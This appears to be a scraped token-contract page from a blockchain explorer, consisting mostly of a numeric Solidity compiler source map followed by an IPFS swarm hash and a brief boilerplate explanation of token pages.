2::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:116::-;4493:21;4508:5;4493:21;:::i;:::-;4486:5;4483:32;4473:60;;4529:1;4526;4519:12;4473:60;4423:116;:::o;4545:133::-;4588:5;4626:6;4613:20;4604:29;;4642:30;4666:5;4642:30;:::i;:::-;4545:133;;;;:::o;4684:905::-;4776:6;4784;4792;4800;4808;4857:3;4845:9;4836:7;4832:23;4828:33;4825:120;;;4864:79;;:::i;:::-;4825:120;4984:1;5009:53;5054:7;5045:6;5034:9;5030:22;5009:53;:::i;:::-;4999:63;;4955:117;5111:2;5137:50;5179:7;5170:6;5159:9;5155:22;5137:50;:::i;:::-;5127:60;;5082:115;5236:2;5262:53;5307:7;5298:6;5287:9;5283:22;5262:53;:::i;:::-;5252:63;;5207:118;5364:2;5390:53;5435:7;5426:6;5415:9;5411:22;5390:53;:::i;:::-;5380:63;;5335:118;5492:3;5519:53;5564:7;5555:6;5544:9;5540:22;5519:53;:::i;:::-;5509:63;;5463:119;4684:905;;;;;;;;:::o;5595:86::-;5630:7;5670:4;5663:5;5659:16;5648:27;;5595:86;;;:::o;5687:112::-;5770:22;5786:5;5770:22;:::i;:::-;5765:3;5758:35;5687:112;;:::o;5805:214::-;5894:4;5932:2;5921:9;5917:18;5909:26;;5945:67;6009:1;5998:9;5994:17;5985:6;5945:67;:::i;:::-;5805:214;;;;:::o;6025:329::-;6084:6;6133:2;6121:9;6112:7;6108:23;6104:32;6101:119;;;6139:79;;:::i;:::-;6101:119;6259:1;6284:53;6329:7;6320:6;6309:9;6305:22;6284:53;:::i;:::-;6274:63;;6230:117;6025:329;;;;:::o;6360:118::-;6447:24;6465:5;6447:24;:::i;:::-;6442:3;6435:37;6360:118;;:::o;6484:222::-;6577:4;6615:2;6604:9;6600:18;6592:26;;6628:71;6696:1;6685:9;6681:17;6672:6;6628:71;:::i;:::-;6484:222;;;;:::o;6712:474::-;6780:6;6788;6837:2;6825:9;6816:7;6812:23;6808:32;6805:119;;;6843:79;;:::i;:::-;6805:119;6963:1;6988:53;7033:7;7024:6;7013:9;7009:22;6988:53;:::i;:::-;6978:63;;6934:117;7090:2;7116:53;7161:7;7152:6;7141:9;7137:22;7116:53;:::i;:::-;7106:63;;7061:118;6712:474;;;;;:::o;7192:180::-;7240:77;7237:1;7230:88;7337:4;7334:1;7327:15;7361:4;7358:1;7351:15;7378:320;7422:6;7459:1;7453:4;7449:12;7439:22;;7506:1;7500:4;7496:12;7527:18;7517:81;;7583:4;7575:6;7571:17;7561:27;;7517:81;7645:2;7637:6;7634:14;7614:18;7611:38;7608:84;;7664:18;;:::i;:::-;7608:84;7429:269;7378:320;;;:::o;7704:159::-;7844:11;7840:1;7832:6;7828:14;7821:35;7704:159;:::o;7869:365::-;8011:3;8032:66;8096:1;8091:3;8032:66;:::i;:::-;8025:73;;8107:93;8196:3;8107:93;:::i;:::-;8225:2;8220:3;8216:12;8209:19;;7869:365;;;:::o;8240:419::-;8406:4;8444:2;8433:9;8429:18;8421:26;;8493:9;8487:4;8483:20;8479:1;8468:9;8464:17;8457:47;8521:131;8647:4;8521:131;:::i;:::-;8513:139;;8240:419;;;:::o;8665:180::-;8713:77;8710:1;8703:88;8810:4;8807:1;8800:15;8834:4;8831:1;8824:15;8851:102;8893:8;8940:5;8937:1;8933:13;8912:34;;8851:102;;;:::o;8959:848::-;9020:5;9027:4;9051:6;9042:15;;9075:5;9066:14;;9089:712;9110:1;9100:8;9097:15;9089:712;;;9205:4;9200:3;9196:14;9190:4;9187:24;9184:50;;;9214:18;;:::i;:::-;9184:50;9264:1;9254:8;9250:16;9247:451;;;9679:4;9672:5;9668:16;9659:25;;9247:451;9729:4;9723;9719:15;9711:23;;9759:32;9782:8;9759:32;:::i;:::-;9747:44;;9089:712;;;8959:848;;;;;;;:::o;9813:1073::-;9867:5;10058:8;10048:40;;10079:1;10070:10;;10081:5;;10048:40;10107:4;10097:36;;10124:1;10115:10;;10126:5;;10097:36;10193:4;10241:1;10236:27;;;;10277:1;10272:191;;;;10186:277;;10236:27;10254:1;10245:10;;10256:5;;;10272:191;10317:3;10307:8;10304:17;10301:43;;;10324:18;;:::i;:::-;10301:43;10373:8;10370:1;10366:16;10357:25;;10408:3;10401:5;10398:14;10395:40;;;10415:18;;:::i;:::-;10395:40;10448:5;;;10186:277;;10572:2;10562:8;10559:16;10553:3;10547:4;10544:13;10540:36;10522:2;10512:8;10509:16;10504:2;10498:4;10495:12;10491:35;10475:111;10472:246;;;10628:8;10622:4;10618:19;10609:28;;10663:3;10656:5;10653:14;10650:40;;;10670:18;;:::i;:::-;10650:40;10703:5;;10472:246;10743:42;10781:3;10771:8;10765:4;10762:1;10743:42;:::i;:::-;10728:57;;;;10817:4;10812:3;10808:14;10801:5;10798:25;10795:51;;;10826:18;;:::i;:::-;10795:51;10875:4;10868:5;10864:16;10855:25;;9813:1073;;;;;;:::o;10892:285::-;10952:5;10976:23;10994:4;10976:23;:::i;:::-;10968:31;;11020:27;11038:8;11020:27;:::i;:::-;11008:39;;11066:104;11103:66;11093:8;11087:4;11066:104;:::i;:::-;11057:113;;10892:285;;;;:::o;11183:410::-;11223:7;11246:20;11264:1;11246:20;:::i;:::-;11241:25;;11280:20;11298:1;11280:20;:::i;:::-;11275:25;;11335:1;11332;11328:9;11357:30;11375:11;11357:30;:::i;:::-;11346:41;;11536:1;11527:7;11523:15;11520:1;11517:22;11497:1;11490:9;11470:83;11447:139;;11566:18;;:::i;:::-;11447:139;11231:362;11183:410;;;;:::o;11599:182::-;11739:34;11735:1;11727:6;11723:14;11716:58;11599:182;:::o;11787:366::-;11929:3;11950:67;12014:2;12009:3;11950:67;:::i;:::-;11943:74;;12026:93;12115:3;12026:93;:::i;:::-;12144:2;12139:3;12135:12;12128:19;;11787:366;;;:::o;12159:419::-;12325:4;12363:2;12352:9;12348:18;12340:26;;12412:9;12406:4;12402:20;12398:1;12387:9;12383:17;12376:47;12440:131;12566:4;12440:131;:::i;:::-;12432:139;;12159:419;;;:::o;12584:225::-;12724:34;12720:1;12712:6;12708:14;12701:58;12793:8;12788:2;12780:6;12776:15;12769:33;12584:225;:::o;12815:366::-;12957:3;12978:67;13042:2;13037:3;12978:67;:::i;:::-;12971:74;;13054:93;13143:3;13054:93;:::i;:::-;13172:2;13167:3;13163:12;13156:19;;12815:366;;;:::o;13187:419::-;13353:4;13391:2;13380:9;13376:18;13368:26;;13440:9;13434:4;13430:20;13426:1;13415:9;13411:17;13404:47;13468:131;13594:4;13468:131;:::i;:::-;13460:139;;13187:419;;;:::o;13612:223::-;13752:34;13748:1;13740:6;13736:14;13729:58;13821:6;13816:2;13808:6;13804:15;13797:31;13612:223;:::o;13841:366::-;13983:3;14004:67;14068:2;14063:3;14004:67;:::i;:::-;13997:74;;14080:93;14169:3;14080:93;:::i;:::-;14198:2;14193:3;14189:12;14182:19;;13841:366;;;:::o;14213:419::-;14379:4;14417:2;14406:9;14402:18;14394:26;;14466:9;14460:4;14456:20;14452:1;14441:9;14437:17;14430:47;14494:131;14620:4;14494:131;:::i;:::-;14486:139;;14213:419;;;:::o;14638:221::-;14778:34;14774:1;14766:6;14762:14;14755:58;14847:4;14842:2;14834:6;14830:15;14823:29;14638:221;:::o;14865:366::-;15007:3;15028:67;15092:2;15087:3;15028:67;:::i;:::-;15021:74;;15104:93;15193:3;15104:93;:::i;:::-;15222:2;15217:3;15213:12;15206:19;;14865:366;;;:::o;15237:419::-;15403:4;15441:2;15430:9;15426:18;15418:26;;15490:9;15484:4;15480:20;15476:1;15465:9;15461:17;15454:47;15518:131;15644:4;15518:131;:::i;:::-;15510:139;;15237:419;;;:::o;15662:224::-;15802:34;15798:1;15790:6;15786:14;15779:58;15871:7;15866:2;15858:6;15854:15;15847:32;15662:224;:::o;15892:366::-;16034:3;16055:67;16119:2;16114:3;16055:67;:::i;:::-;16048:74;;16131:93;16220:3;16131:93;:::i;:::-;16249:2;16244:3;16240:12;16233:19;;15892:366;;;:::o;16264:419::-;16430:4;16468:2;16457:9;16453:18;16445:26;;16517:9;16511:4;16507:20;16503:1;16492:9;16488:17;16481:47;16545:131;16671:4;16545:131;:::i;:::-;16537:139;;16264:419;;;:::o;16689:222::-;16829:34;16825:1;16817:6;16813:14;16806:58;16898:5;16893:2;16885:6;16881:15;16874:30;16689:222;:::o;16917:366::-;17059:3;17080:67;17144:2;17139:3;17080:67;:::i;:::-;17073:74;;17156:93;17245:3;17156:93;:::i;:::-;17274:2;17269:3;17265:12;17258:19;;16917:366;;;:::o;17289:419::-;17455:4;17493:2;17482:9;17478:18;17470:26;;17542:9;17536:4;17532:20;17528:1;17517:9;17513:17;17506:47;17570:131;17696:4;17570:131;:::i;:::-;17562:139;;17289:419;;;:::o;17714:191::-;17754:3;17773:20;17791:1;17773:20;:::i;:::-;17768:25;;17807:20;17825:1;17807:20;:::i;:::-;17802:25;;17850:1;17847;17843:9;17836:16;;17871:3;17868:1;17865:10;17862:36;;;17878:18;;:::i;:::-;17862:36;17714:191;;;;:::o

Swarm Source

ipfs://31fd8f431b3d20e7d020a6efdfd72892ced999054c171b3320d43f4e4cf4b571
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.